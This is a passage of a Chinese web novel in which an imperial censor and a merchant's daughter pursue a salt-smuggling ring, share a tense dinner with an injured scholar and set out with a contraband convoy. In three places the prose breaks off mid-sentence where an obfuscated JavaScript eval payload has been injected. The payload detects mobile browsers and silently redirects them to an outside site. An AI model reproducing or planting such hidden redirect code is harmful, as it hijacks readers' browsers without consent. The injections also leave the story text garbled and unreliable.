林长亭暗自提起一口气,脚下生风有如游龙一般顺山而上,盛夏之中的日光哪里肯饶过他,不消片刻汗水便浸湿了他的脊背。他不敢有丝毫的怠慢,苏玉淑的身影不知怎的总是虚虚实实地浮现在眼前。林长亭莫名地心下有些烦躁,苏玉淑这个丫头片子,一向是桀骜不驯又粗鲁野蛮,还是个商户出身,财大气粗的模样比起来京城那些在他身边大大家闺秀不知道差了多少。 可就是这么个如同野草一样肆意生长的女孩子却能这般影响他的心绪,不似微风和煦,却是暴雨雷霆。 海边的天气总是多变的,晴空万里了一整天,可偏在傍晚的时候云朵扎堆了起来,层层叠叠地顺着海风向内陆走着,宛如厚重的羽毛翻腾着纠缠不清。这时候的日头长得有些恼人,他们在东流盐场已经耽搁了整整一天,可太阳还是没有什么收工的意思。 余温自脚下袭来,蒸烤得人皮肤都发黏发涩,喉咙里干渴的感觉更是没放过他分毫,林长亭此刻分不清是身体上的痛苦更催人还是精神上的愧疚感更折磨些,他只能不停地加快脚步,至少要和她们二人一同归去才行。 山地上不知名的杂草丛生,其中不乏有锯齿状的尖利叶片和尖锐枝丫,林长亭顾不上衣衫破碎,也顾不上皮肤传来的细小的疼痛,他此刻正如一只濒临绝境的飞鸟,轻捷的身影化作一道闪电穿梭于林间。终于,一方亮光悄无声息地出现在眼前,他不敢有丝毫的停歇,树木变成一条条单调的横线被她甩在身后,林长亭甚至能感受到耳畔的风声夹杂着海浪声,盐工们的吆喝声,还有低声的谈笑—— “哟,你可真够慢的。” 苏玉淑笑了笑,又晃了晃手里的腰牌:“怎么,跑傻了?” “没……我……” “林兄,不是我说你,你是不是答应的好好的要护小妹周全?你知不知道她一身血跑出来的时候我都快吓死了!玉淑虽然顽皮主意正,但不管怎么说她还是个女孩子,你怎么真能将她一人置于险境之中呢?” “我……” “行了哥,你先让他把气儿喘匀了再说吧。”苏玉淑嗤笑一声,“你看他那傻小子的样儿。” 林长亭低头看去,这才发现自己是满身满脸的泥点子,身上的亚麻衣服有的地方已经被割破成一条一条儿的荡悠悠着,就连鞋底都跑歪了一只。俗话说人靠衣装马靠鞍,就算他这时候说自己是御史大人恐怕也没人相信,倒真是一个活脱脱的小倌儿模样了。 他慌张整理衣服,朝着脸上胡乱拍了几下,可是非但没有什么作用反而把灰尘扑得更匀了。苏玉鸿兄妹见他这副窘迫的样子,对视一眼之后竟不约而同地发出了“吃吃”的低笑声。 “林,林兄啊……哼哼哈哈哈……那个你先,咱们马上有水袋,你先哈哈哈洗把脸……” 苏玉淑更是过分,她只试图压制了一下笑意便果断放弃:“哈哈哈哈哈林长亭你好像一只叫花鸡,哥你看他像,像外面的那层泥哈哈哈哈!你快,你快洗一下咱们回去了……不然叶英他们看到了会笑话你的哈哈哈……” 林长亭无奈上前摘下水壶,先是按捺不住地牛饮一通,紧接着赶忙把自己的一张脸先清理干净: “咳咳……不要告诉别人。” “你说什么——我听不见——”苏玉淑故作顽皮,“什么要告诉别人——” “玉淑!又没大没小了。”苏玉鸿叹了口气上前一步,纵使心中有气也还是帮林长亭拿着水壶倒水,“林兄,今日的事自然不会有第四人知晓。只是……有件事还需要你定夺。” “什么?” 早在他回来之前,苏玉淑就将今日之事毫无保留地和盘托出,苏玉鸿把她是如何发现私盐藏匿之地,制置使的时限和她如何处置闻先生的事仔仔细细讲与林长亭听。 “那闻先生如何了?你当真杀了他?你怎么敢和张青他们做买卖的?你怎么胆子这样大!苏玉淑,我说过你不要轻举妄动,你偏……” “我若是不跟上去,这些私盐会自己冒出来吗?”她摆了摆手,眉眼之间竟比起前些日子多了些果决,“我再说一次,这件事关乎我自己,关乎苏家上下全家数十口人,我不能坐以待毙更不能拂袖不管!” “你们两个……”眼瞧着俩人才打了个照面就硝烟又起,苏玉鸿站在他们中间看看这个又看看那个,一个梗着脖子一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 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他们二人马术要比苏玉淑娴熟上许多,不一会儿便追上了她的马。林长亭歪过头去看她,苏玉淑正生气地鼓着个腮帮子扁着嘴,像是没看到身边的人似的两眼直勾勾地盯着前面的大道,可她握着缰绳的手却不住地发力,就连关节都微微泛着白。这副样子令林长亭想到了儿时家中的小猫,在它屡次试图偷偷上桌却被家母拎下去的时候,差不多就是这副表情。 又倔又可爱。 林长亭刚想说些什么,苏玉鸿却拽了下他的袖口。他笑着摇摇头,示意林长亭什么都不要说,他也只得作罢。一行三人就这样映着烈火般不肯熄灭的晚霞奔行着,就连闷热的晚风都为他们降下了些许的温度,化作一缕柔和的呼吸萦绕在周围。 “吁——” 苏玉淑将马一勒,潇洒从后门回了自己的院子,不管自己哥哥在后面是如何的大呼小叫都充耳不闻,只当是夏日的蝉鸣没完没了。忙活了一整天,她早就饥肠辘辘了,她此刻最想念的就是绿萝做的清炖火腿老鸡汤,炎炎夏日里能喝上这么一口足以让五脏六腑每一处的毛孔都爽快地发出汗来,再佐上她做的最好吃的青瓜小盅简直是神仙才能过上的日子。这顿饭她念叨许久了,特地嘱咐了绿萝要在她最忙最累的这一天做给自己吃。 隔着好几道院墙,苏玉淑就闻见了自己小院里飘出来的这股香气,和正堂上用的餐不同,绿萝的饭虽没有那么精致华贵,可那种令人心安的味道却是谁都难以复刻的。她摩拳擦掌地蹦跳着,什么林长亭什么私盐都先放一边儿,她今晚要大吃一顿再好好洗个澡,吃点时令瓜果再去管他什么劳什子的生死大事。苏玉淑三步并作两步,一把推开了院门,那股鸡汤的油香和几味炖汤药材略带清苦的味道交织在一起,她着急忙慌地迈步向前,从蜿蜒的走廊上一溜小跑而过—— “啊!!!我的汤!!!!” 33. 第三十三章 苏玉淑“嗷”地一下蹦进了厢房:“谁许你们把汤给他喝的!!!你们还让他住我的西厢房!啊!!!还用我的苏绣软枕!!我的青白瓷杯!啊啊啊!!” 她夸张地瘫软在椅子上,趴在桌子上泫然欲泣:“你们……你们背叛了我……” “起开吧你。”绿萝把她软塌塌的身子一拽,“你的份儿给你在小厨房里温着呢。再哭我就把你的玫瑰牛奶酥也给闻先生吃了。” “不要啊!!!” “就是。捅了我一刀……苏大小姐连这点赔礼都不肯给吗?”闻先生被叶英搀扶着坐起身来,“还是说,苏大小姐对食物情有独钟?” “闻先生,我家小姐只是奔波一天辛苦腹中饥饿罢了。还请您注意和小姐说话的态度,这是苏家大院,不是东流盐场。待您伤势好转后,我们自会送您去更合适的去处。现下还请您安心养病,言语不要冒犯了小姐才是。”石竹端着一张木盘进来,她动作轻缓地把东西摆在苏玉淑的面前,“炖鸡汤、青瓜小盅、还有只有一份的糖醋鱼排,都是绿萝特意给你留的,别人动也不让动呢。” “嘿嘿,绿萝你真好。”苏玉淑迫不及待地拿起筷子,“你不用我的点心威胁我就更好了。” 绿萝白了她一眼:“吃饭就好好吃饭,坐正端好少说话。” 叶英一拱手:“大小姐,叶荣传话回来,令兄与大人稍后便到,您若有话可先行询问闻先生。” “知道了。”苏玉淑撇撇嘴,眼下什么都没她手里这碗饭香。 “我可没什么想问的,我就想先好好吃个饭。闻先生,你也先吃。” “好。” 她刚把勺子送到嘴边,却突然觉得浑身一阵恶寒忍不住打了个激灵。 绿萝赶忙递过一方手帕:“小姐,没事吧?” “没事儿,就是不知道怎得,浑身不舒服。” 远处的林长亭已经在苏玉鸿的院子里换好了叶荣带去的衣裳。他刚刚已用湿毛巾将脸上身上的灰尘汗水略擦了擦,头发也不似白日小倌儿似的再挽成一个发髻挂在头上,而是梳成一个高挑又有些随意的马尾,尽显一身贵气。 “林兄,你当真不在我的院子里用饭吗?”苏玉鸿有些尴尬地搓搓衣角,“或者我去回禀父亲母亲,我们去正厅用饭也可。玉淑刚跟你吵完架,你当真要过去……虎口夺食吗?” “苏兄,你难道不想看看她被人抢了饭食之后的表情吗?”林长亭坏笑一下,他现下可算得上是心情不错,细想之下,他好像也明白了苏玉淑为什么发脾气。 女孩子的心思,就和今天的风一样。 谁能猜得准呢。 他身上的苍葭色缎子在通明的烛火下散发着淡莹莹的柔光,腰间的白玉玉佩和着驼褐色的流苏又平添了几分沉稳。苏玉鸿也换上了一身空青色的薄衣,二人现下看来倒是洗去繁忙与铅华,活脱脱清清爽爽的两位公子哥儿。 “林兄,我猜你也不想看玉淑又发火的样子吧……” “无妨。”林长亭拢了拢发尾,“我们带些吃食过去便是。今早出发之前我便吩咐了手下伴读带些东西回来,你瞧,这是什么。” 说着他从叶荣手中接过一个油纸包,上面的红纸分外显眼,红纸上书四个大字:“邢家铺子”。 “这不是师城里最有名的烧鸡吗!”苏玉鸿的眼神一下子就软了下来,“玉淑从小就爱吃这家!每次派人出去去买都要排上好久呢,这下她大约不会不高兴了!” “是呀,我又怎么会从她嘴里抢吃的呢。” 林长亭大手一挥—— “绿萝姑娘,麻烦再盛一碗。” 苏玉淑脸都要黑了:“林长亭,我说你带只鸡就来蹭饭是不是有点不要脸了?” 苏玉鸿赶忙去拉她,却被自家妹妹一把甩开:“你们仨大男人是不是有点过分了啊?绿萝辛辛苦苦给我做的饭,你们跑来吃得不亦乐乎,凭什么啊?我苏家也不缺你们吃喝啊,干嘛偏要来欺负我的侍女?” “我可是被你捅伤的,不算主动蹭吃蹭喝吧。”闻先生半靠在床头上,模样有些虚弱,“我也吃不下更多了。” 林长亭笑着眯起眼睛:“我倒是没想到闻先生会在这里。” “我也没想到,白日里的一个小跟班也能到大小姐的厢房里吃饭。” “看来闻先生还是很容易被表象欺骗的啊……下次还是要多观察,身上挨了一刀事儿小,拖别人下水事儿大。您说,是吧?” “您教训的是。不过……要是明知前路险境却放任重要之人孤身前去,仿佛也不是什么上上之策吧?” 一股子说不清道不明的火药味儿突然在二人之间弥漫开来,两人都是一副笑眯眯的模样,可眉眼之间传递的电光石火却足以把苏玉淑本就烦躁的心情点炸: “能不能老实会儿!” 苏玉鸿吓得猛地拧下一个鸡腿:“妹妹你吃这个。” “你……” 他又拧了个鸡翅:“还有这个。” 苏玉淑叹了口气,唉,真香。 好在是他们两个人来得晚,绿萝又有先见之明地多做了一些,这才让苏玉淑高高兴兴美餐一顿。不过她才不管什么待客不待客的,苏玉淑狠狠地敲了自家兄长一笔,又把叶英打发出去买巷口铺子的蜜饯这才善罢甘休。 苏玉淑捧着茶盏,死死盯着林长亭不放。 “看我做什么?难不成我好看?” “我在想你的衣服值多少钱。” 林长亭手上一楞:“什么意思?” “据我所知,你身上的这个颜色只有京城的几家染坊才做的出来。这苍葭色看起来淡淡的不起眼,可是最是考验染色工艺。配方不对便会发绿发青,染色时间长了或者手重了就会发灰发蒙,想要做出这种清透又自然的颜色……怕是价格不菲吧?林大人,您的俸禄看来可是不低啊。” 林长亭又愣住了。他从来没有考虑过这一层,或许在自己的眼里有关于衣食住行的一切已经足够低调,可在苏家这样的行内人看来,自己的一切伪装是那么的幼稚可笑。这也解释了为什么苏玉鸿从来没有质问过自己的真实身份,他一直以为这是一种心照不宣的默契,可或许早在苏玉淑告诉他一切真相之前,单凭他一双商人的眼睛也足以认定自己的身份。 “林大人?”闻先生的眼神突然尖锐起来,“敢问阁下究竟是何方神圣?” “还没和闻先生介绍,是在下失礼了。”他迅速收起刚才那副有些迟滞的神情,“在下林长亭,乃当朝御史,奉圣命来师城探查私盐一案。闻先生不必紧张,我与苏家已经达成了合作,若有消息不必向我隐瞒。” “林大人的意思是,朝廷早就知道这件事了?” “是。” 闻先生抬起头来,他的神情复杂,隐忍着极大的痛苦一般颤抖发问:“那为何,为何如今才查到东流盐场?” 一阵窒息的沉默弥漫在屋子里。 面对一介白衣的质问,林长亭大可以拿出一副高高在上的姿态来批驳他,审判他。他可以让他下跪,让叶荣把他扔出去,甚至可以当场结果了他。 可是他没有。 他甚至不曾用埋怨的目光看过闻先生一眼。他只是这样低着头。 此刻屋子里只剩他们四人。苏玉鸿不便张嘴,他只得对苏玉淑使劲努嘴,手藏在桌子底下一边指着自己的腰包一边指着桌子上的点心,然后比了个“一”。 苏玉淑摇摇头,比了个“三”。 林长亭好像还是没有开口的意思。 苏玉鸿一咬牙一跺脚,狠狠点了点头。这是成交,苏玉淑后面三个月的点心钱,他这个做哥哥的全包了。 “林大人有他的难处。”苏玉淑捧起面前的点心盘,温柔地递到他的身边,“闻先生,你不能这么说。” “身居高位,难道不应在其位而谋其事吗?忝食俸禄难道是君子所为!你们可知,这群人贩卖私盐何等猖狂,其所得银两总不下数十万之数!你们可曾想过,这些银两会流到什么地方?会变成多少兵马甲胄!林大人身为朝廷御史大夫,行事却如此迟缓直至今日才查探到来源,难不成一句质问都不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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苏玉淑抬了抬眉毛:“还好你顺便解决了王五那帮人牙子的事儿,救了那么多女孩儿。也算是功过相抵了,嘿嘿。” 林长亭摇摇头:“这本是我应该做的。” 闻先生以为他会顺着这个台阶下来,可林长亭没有。他只是低着头垂着眼睛安静地坐在那里,此刻他反倒像一名等待审判的囚徒。 可林长亭也没有做错什么。 苏玉淑稍稍侧过身子,她眼睛眨也不眨地直勾勾地盯着闻先生。或许她自己都没有意识到,在面对无端的指责之时自己竟毫不犹豫地站在了林长亭这一边。是这一路走来不易,也是两心慢慢相知。 只是人的感情有时候迟钝得像一把旧刀子,一边割着自己,一边又划伤了别人。 闻先生叹了口气。他最不愿意承认的事情,今日却被一个小女孩儿劈头盖脸地指了出来。林大人于他而言是高高在上的指望,就像那镜中花水中月。就连他自己也没有真正意识到自己心中究竟是多么的懦弱,懦弱到把自己全部的希望都押在一个不知何时会来的高官上,可他却从没想过自己也能放手一搏。 在这世上他早就知道不能轻信了别人,可终于他还是到了如今这一步。 他连自己也不信了。 “我……”闻先生的声音有些嘶哑,“抱歉。” “什么——我听不见——”苏玉淑的模样看起来有些欠揍,“大声点儿——” “我说!抱歉!行了吧!” 闻先生黝黑的皮肤下泛起一层淡淡的红,苏玉淑这才满意的点点头: “哦。” “你!” “好了好了好了,喝茶喝茶,有话都好好说嘛。”苏玉鸿递过茶盏,她这才像只小兔子似的,敏捷地蹦回自己的椅子上,捧起茶杯抿个没完: “说说吧。你到底都知道些什么,你是怎么来的东流盐场,又怎么会在林子里找到我的?” 闻先生盯着手中的茶杯,里面淡色的茶汤微微泛起涟漪。几根茶叶起起伏伏,飘摇得令人揪心。 “我……我的名字是,闻展。” 34. 第三十四章 林长亭眉头微皱:“闻展……这名字好像从什么地方听到过。” “姑苏闻氏,林大人不会不知道吧。” 他轻飘飘的一句话,林长亭的脸上少见地出现了震惊的神色。苏玉淑敏锐地察觉到了一丝不同寻常的气息,她看向了苏玉鸿,可他也只是茫然地摇摇头,不知发生了些什么。 “姑苏闻氏没落许久,不想师城竟有闻氏后人。”林长亭的声音有些发涩,“想来这些年也不好过吧。” 闻先生苦笑一声:“若不是还有一身识字看账的本事,怕是早就饿死街头喂狗了事了吧。” “什么?你们在说什么?”苏玉淑忍不住好奇道,“姑苏城我也去过,闻氏是那儿的世家大族吗?” “岂止。我闻家势头最盛之时……怕是整个江南地区的才子学者都对我家的书院趋之若鹜吧。” “那真是我孤陋寡闻了。” “这倒没什么,本来女儿家也甚少出门,更不要提读书识字了。不过苏家大小姐也算是风雅女士,实是难得。” 一听这话,苏玉淑立刻沉下脸来。她不由得想起来之前和父亲的争吵,想起来自己多年来格格不入地活在世上。如今居然得了这闻先生一句夸奖,真不知是该高兴还是该遗憾。 “姑苏的书院……我好像知道了,是不是明德堂?”苏玉鸿好像突然想起了什么,“那是姑苏最大的书院了,只是可惜……” “可惜什么?” “可惜明德堂早在数年前就被查抄了。当时我和父亲去姑苏跑商,街上传得沸沸扬扬的,只不过当时我们急着赶路并未详细询问。闻先生,这究竟是怎么一回事?” “苏公子竟知道我家明德堂……我姑苏闻氏本是江南一大族,祖辈世代读书为官,家风清正。明德堂正是由我闻氏所创,每日明经授课,议政讲德。闻家虽非大儒,但对四书五经三策也还算是有独到见解。在明德堂,学子无论出身无论贫富都能一展抱负,都可以畅所欲言谈论国事,天下学子无不趋之若鹜。但也正是如此……才招来后面的祸事。”闻展脸上刚刚浮现出的沉溺于昔年的微笑陡然消失,“明德堂早在六年前便被查抄,我闻家也受此影响,不仅全家锒铛入狱,更是背上了不忠奸佞的骂名。” “为何?”苏玉淑不解,“既然明德堂像你说得这般好,又不涉官场商场,怎么会被抄查呢?” “这恐怕你要问问你的林大人了。” 林长亭抬起头来,他的眼神是少见的湿润。 “诶诶,林大人就林大人,可不是我的,这话我可担不起。” 他又把头低了下去,看上去还有几分无奈。 “明德堂的确曾是无数才子学人的圣地,可那都是以前的事儿了。七年前,当朝皇帝由太傅贪渎案查起,牵连出其党羽众多。皇帝整治朝堂结党营私之风的念头由来已久,不少当朝官员都是由明德堂读书输送而来,且读书人向来是私交甚密,虽不能说是暗中勾结,但在朝中也可谓是太傅一党。太傅一案,涉及吏部礼部等一众官员,闻氏族人也在其中。加之其学阀势头见盛,皇帝眼中哪里肯容得下一个被天下读书人奉为圭臬的明德堂呢。” 闻展猛地坐直了身体:“究竟是我闻氏当真结党垄断仕途,还是因一人疑心而无辜被冤!”不知是气愤还是动作太大牵扯到了伤口,他的身体微微颤抖着,胸膛起起伏伏地把绷带都带出了一抹血色。 苏玉淑刚要喊人进来包扎,闻展却狠狠地摆了摆手:“不必。这点痛和抄家灭族之祸比起来算不得什么。” 她冷笑一声:“这有什么相提并论的必要呢?案子冤了就查,身上疼了就治,何苦要用以前的事来惩罚现在的自己。堂堂男儿,岂不矫情。” “查?怎么查?”闻展看向林长亭的眼神里多了一丝恨意,“当今圣上的旨意,难道还能有人反了不成?天子一言,便足以毁社稷灭宗族。我闻氏上下,百余年间皆投身于儒家治学,虽不算名门望族,却也是清高风雅,从未置喙于朝政更不会做出结党营私、私相授受官职财务之事!此事一出,不仅与太傅、与我家有关的在朝官员们人人自危,闻氏更是背负上了图谋私利,专出奸臣的骂名!从明德堂走出去的这些举人们无一人幸免,朝臣们无一人为我闻家说话,苟活下来已是万难,你又要我如何去查?” 和他的义愤填膺比起来,林长亭看上去倒是波澜不惊:“当年闻氏一族牵涉太傅案中,若我不曾记错,闻家三族亲眷男子皆下狱,或问斩或流放,女子则没为官奴,九族之内及朋党皆罢官……你是闻家的什么人?你又是如何到师城的?” “我……”闻展的眸子有一瞬的动摇,他张了张口,似乎有什么话语要呼之欲出,可他又极力按捺下来,只是用力地摇摇头,“不,我不能说。” “为何?” “这还用问,”苏玉淑换了个姿势,“他不信你呗。” 闻展不置可否。他倔强咬起来的嘴唇足以说明一切,他不信任林长亭,不,事实上他不信任任何一个在朝的官员——哪怕他看上去是个还算正直的人。在场的四个人很快便陷入了一种无话可说的尴尬之中,林长亭似有心事一言不发,闻先生悲愤交加无以言表,苏玉鸿左右为难不知说些什么为好,苏玉淑端坐高台看着三人各怀鬼胎,紧接着狠狠一拍手—— 啪! “他的事儿先放一放。不管闻先生是谁,是怎么来的东流盐场,我都不在乎。眼下的当务之急是要把这批私盐运出去,我们放长线才能钓大鱼。” 苏玉鸿附和着点点头:“妹妹说的对。” “今日我见到了藏在盐场里的那批私盐,数量竟然有一百三十石之多。要想人不知鬼不觉地运出去……林大人,您人手可够啊?” “自然不够。” 苏玉淑似乎早就料到他的回答,她略略皱了皱眉头:“回来的路上我细细算过,要运走这些私盐,马车约莫二十驾,骡车的话约莫十六驾。但是不管我们选哪一种,随队的人数都会超过四十,这个规模的车队可不是能轻易掩人耳目的。” “妹妹说的对。” “所以我想了个办法。与其偷偷摸摸,我们不如光明正大。安字号的掌柜是那盐工张青的妹夫,俩人蛇鼠一窝都不是什么好东西。既然如此,我们大可以拿出主家的态度来,逼着那刘掌柜的上钩,你们觉得如何?” “我觉得妹妹说的对……可是要怎么做呢?”苏玉鸿眨巴着眼睛,可苏玉淑只是笑得阴险,她直勾勾地盯着自己的哥哥,两只眼睛直冒贼光。 “你,你想干嘛?” “嘿嘿,我有一计。只不过要你们都配合我才行。” 见苏玉淑一副胸有成竹的样子,林长亭微微一笑:“说吧,要人还是要权?” “当然是全都要。” “好。” 她不禁诧异:“你问都不问一下?” “不问。” “要是我拿你的人去杀人放火打家劫舍呢?” 林长亭笑笑:“你不会。” “我要是就这么干了呢?” “那就这么干。”他和那夜槐下送刀的时候笑得别无二致,“人嘛,杀便杀了。你总有你的道理。” “人,我当然要杀,但不是现在。”苏玉淑的眼神无比坚定,她此时更像是蜕变后的一名谋士——以身入局,方成大事。 她招了招手,三人顿时凑到她的身旁。灯火跳动下,她眉飞色舞地谋划着些什么,手舞足蹈之间便定谋献策。林长亭有些欣慰地看着苏玉淑,她好像在数月之间成长了许多,虽然还是那个有些马虎大意的丫头,可是现在却能临危不乱独当一面,甚至言辞之间隐约可见其深谋大略,待在这小小师城,实在是委屈她了。 看着她神采奕奕的一张脸,蜡烛晃动的仿佛是林长亭的心——一个大胆又不切实际的想法突然浮现在他的脑海里。 他自己都被吓了一跳。 “林大人,你听没听啊?”看着他有些发直的眼神,苏玉淑不满地戳了一下他的胳膊,“这事儿没你可办不成啊。” 林长亭叹了口气:“嗯,我在听。我知道,我会全力配合你的。” “这还差不多。” “不过……这样真的能行吗?”苏玉鸿看上去有些犹豫,“父亲那边怎么办?要不还是禀明了父亲,与我们一同商议才是啊。” “哥,你忘了我之前怎么和你说的?他若真是对盐场上心,哪里轮得到咱们两个出马。你看林大人都没说什么,你信我的吧。” 苏玉鸿还是十分迟疑:“可……” “哥……”苏玉淑一把抓过他的袖口,“哥你最好了,哥~” 苏玉鸿深吸一口气:“行,都听你的。” 他打小就拿苏玉淑没办法,虽然全家上下都对他更偏爱些,可他就是打心眼儿里宠这个不知天高地厚的妹妹,以至于不管什么情况,只要苏玉淑眨巴着眼睛一撒娇,苏玉鸿立刻缴械投降拿她没办法。倒也正是因为他待苏玉淑一片纯诚,兄妹二人才没有因父母偏心而彼此疏远,更没有反目成仇。若是真如刘利那帮小人所说一般二人不和,那苏家才算彻底完蛋了呢。 “闻先生,恕我多心。”林长亭冷不丁地开口,“虽然张青他们要置你于死地,可我还是要多问一句。你在卤水房被打晕之后,是如何又找到玉淑的踪迹的?” 闻展忍不住冷笑:“林 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16457817|185365||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 大人是怕我使了一出苦肉计吧。” 林长亭没有说话。他总觉得闻展这个人不简单,无论是从身世学识看,还是从做账打理之事上看,他都理应是个胸有谋算之人,可是他毫无预备地出现在当场总归有些过于莽撞了。林长亭不得不多个心眼儿,在这个即将发起总攻的节骨眼儿上,绝对不能出任何差错。 “话梅核儿。” 林长亭瞪大了眼睛:“什么?” 苏玉淑瞬间涨红了脸,她跳起来试图去捂闻展的嘴,却被苏玉鸿眼疾手快地一把拦下。 “我说,是苏大小姐吃完的梅子核儿。你忘了?她看账本的时候还是你递给她的蜜饯,当时她吃了一大堆,留着核儿没地方扔,林大人不记得这事了?” “记,记得。” 苏玉淑只觉得脑门发烫,闻先生却把头偏过去不看她:“她进林子的时候扔了一地,还挺明显的。刘利下手不重,我醒过来的时候就看到卤水房门口被扔了一串梅子核儿,我便跟了上去,后来她没的吐了,我看见她还一边偷吃新的一边往地上扔。” 她的脸红一阵白一阵:“闻先生你不要说了啊!” 闻展无辜地摊开了手:“你看,我没说谎吧。” 苏玉鸿看向自己妹妹的目光里都多了一丝嫌弃:“妹妹,你有点太不拘小节了……下次吃完放在那里留着给下人收拾就是了,也别随地乱吐,怪市侩的……” “好了!行了!你们都知道自己该干什么了吧!那就这么着吧!”苏玉淑慌张地拍拍手,“今天太晚了,你们都赶紧回吧,你们三个大男人在我这里也太不方便了!” “那我怎么办?”闻展往后一倒,弱弱地举起手来,“我可是身负重伤又没地方去。” “跟我走就是了。”林长亭笑得阴险,“我那里名医好药有的是,必能将闻先生调养得比先前还康健。” “你别给他带走再弄死了……” “我怎么会呢?”他看向苏玉淑的眼神怎么看怎么瘆人,“难不成你想把他留在这儿?” “你!” “好了好了,闻先生,你去我院子里小住便是了!”苏玉鸿慌忙打着圆场,“我那里还有几间厢房空着,麻烦林兄手下将他从后门送去便是!妹妹这里自然是住不得的,我倒是缺个读书下棋的伴儿呢!” “也好。”林长亭推开屋门,叶英叶荣立刻从屋顶上翻身而下,黑着脸伫立在门的两旁。晚风已经有了些许的凉意,将那抹炙热从大地上缓缓扫去。林长亭的马尾被风轻轻带起,苏玉淑竟有一瞬间的愣神…… 她一定是太累了,精神有些恍惚了。 三人各怀鬼胎地走出门外,眼见叶氏兄弟将闻展小心翼翼地搀扶抬走,苏玉鸿的心这才放了下来: 又避免了一场争吵,真好。 “妹妹,我先回去照看闻先生,你早点休息。林兄,烦请不要在家妹院中久留,玉淑毕竟还未出阁……” “苏兄放心,我说句话便走。” “好,那林兄回去也早些休息。” 苏玉鸿三步并作两步地跑了出去,他还是不放心闻先生的。就算是他未经男女之事却也能看出,林长亭这家伙对苏玉淑绝不一般。他得赶紧回去,不然闻先生要是被弄死在自家院子里了那还了得。 看着他慌里慌张的背影,林长亭笑着摇摇头: “我不会杀他的。” 苏玉淑抬起头看着他的侧脸:“那你会杀谁?” “乱臣贼子可杀,奸佞小人可杀。还有一类人……更要杀。”或许是月光映衬,林长亭看上去少见的温柔,“今天下手的时候,可曾害怕?你是怎么知道捅那里不致命的?” “嘿嘿,不怕。”她的笑里直冒傻气,“鸩教的。” “很好。”林长亭想伸出手摸摸她的头发,可耳畔突然响起了苏玉鸿的警告。他放下手,从身后的石桌上拿起一个油纸包。 苏玉淑扬起头笑笑:“又来这招。” “谁让你爱吃呢。今天是我不好,不该那样和你说话。这件事到现在,对我而言早已不是普通的案子了。我希望能早点结案,更希望你能平平安安的。这是叶英刚跑腿买回来的,你收下可就不许生气了。” 她答应得清脆:“好。” “那我走了,你早些休息。” 林长亭笑着挥了挥手,苏玉淑也笑着回他。他突然觉得心里好像什么地方被狠狠地攥了一下似的,整个人都软绵下去。林长亭不敢回头看她,他头也不回地纵身一跃,继而消失在朦胧的月色里,他的耳边除了柔和的风声,就只有一句自己才能听得到的呢喃: “情知好梦都无用,犹愿为君梦里人。” 35. 第三十五章 林长亭再次见到苏玉淑这副小公子的打扮,早已习以为常。她佩戴钗环时模样好看,素面朝天时同样动人。然而,这么长的时间过去,竟没有一个人向她道出实情—— 无论怎样装扮,她都丝毫不像个男子。 “都准备好了吗?” 苏玉淑微笑着回应:“嗯,我哥已经在城门处等候了。成败在此一举,林大人,你害怕吗?” “害怕?说我吗?”林长亭忍不住轻笑一声,“今日有这么多私盐,我自然怕得很。” “没关系,别害怕。”她仰起头,一双眸子闪烁着明亮的光芒,“我会保护你的。” 这句话饱含七分真心,林长亭一时竟不知如何回应。苏玉淑的眼睛比外面的日光还要明亮,黑亮的瞳孔宛如即将成熟的葡萄。他的呼吸变得有些紊乱,胸膛随着骤然剧烈的心跳起伏了一下: “你怎么啦?”苏玉淑用胳膊肘轻轻撞了撞他,“难不成真害怕啦?” “咳……咳咳。没这回事,只是近日天气炎热,总觉得呼吸不太顺畅。” “嗨,这不算事儿,改天你拿我的牌子去我家药房,让先生给你抓几副药就行。我家的药材是师城里最好的,保准能让林大人药到病除。” 她关心我。 林长亭的嘴角忍不住微微上扬,却又不动声色地压了下去:“时间不早了,我们该出发了。” 苏玉淑大手一挥:“出发!我今天一定要把这窝贼人全部拿下!” 一支马队浩浩荡荡地从城中出发,队伍最前方是苏玉淑和安字号的刘掌柜。林长亭骑马压着队尾,一行人护送着数十个巨大的箱子径直朝着出城的方向而去。 “张大哥,这样做,真的能行得通吗?”刘利跟在马车旁,心虚地低下头小声嘟囔着。 “你懂什么。”张青跟在自己妹夫身后,不禁得意起来,“这招叫明修栈道,暗度陈仓,明白吗?” 刘利摇了摇头:“不明白。” “哎呀,你真是个傻子!怪不得上面的大人看不上你!来来来,你给我过来!”张青悄悄凑到他耳边说,“你看到今天押车的这些人了吗?” “看到了。” “你发现有什么不一样了吗?” 他又摇了摇头:“没有。” “你可真傻!你瞧瞧这帮人里,可有一个你看着眼熟的?” “那肯定没有啊,我本来就和安字号的人不认识!” 张青被他气得恨不得狠狠跺几下脚:“你他娘的!这里面压根就没有安字号的人!我跟你讲,那天苏大小姐杀完人后就去找我妹夫了!” “真的啊!那,那他俩都说啥了?” “这儿的人可都是苏大小姐自己的手下,这娘们儿看着平平无奇的,没想到还能有自己的打手。她跟我姐夫说了,今天她要给苏家来个天翻地覆!” “翻什么天呀?” “你怎么啥都不明白啊!”张青被气得直挠头,“那天不是跟你说过了吗,他们兄妹俩不和!” “啊,对啊!” “你对什么对!你听懂了吗你就对!” 刘利憨憨一笑:“应该懂了吧。” 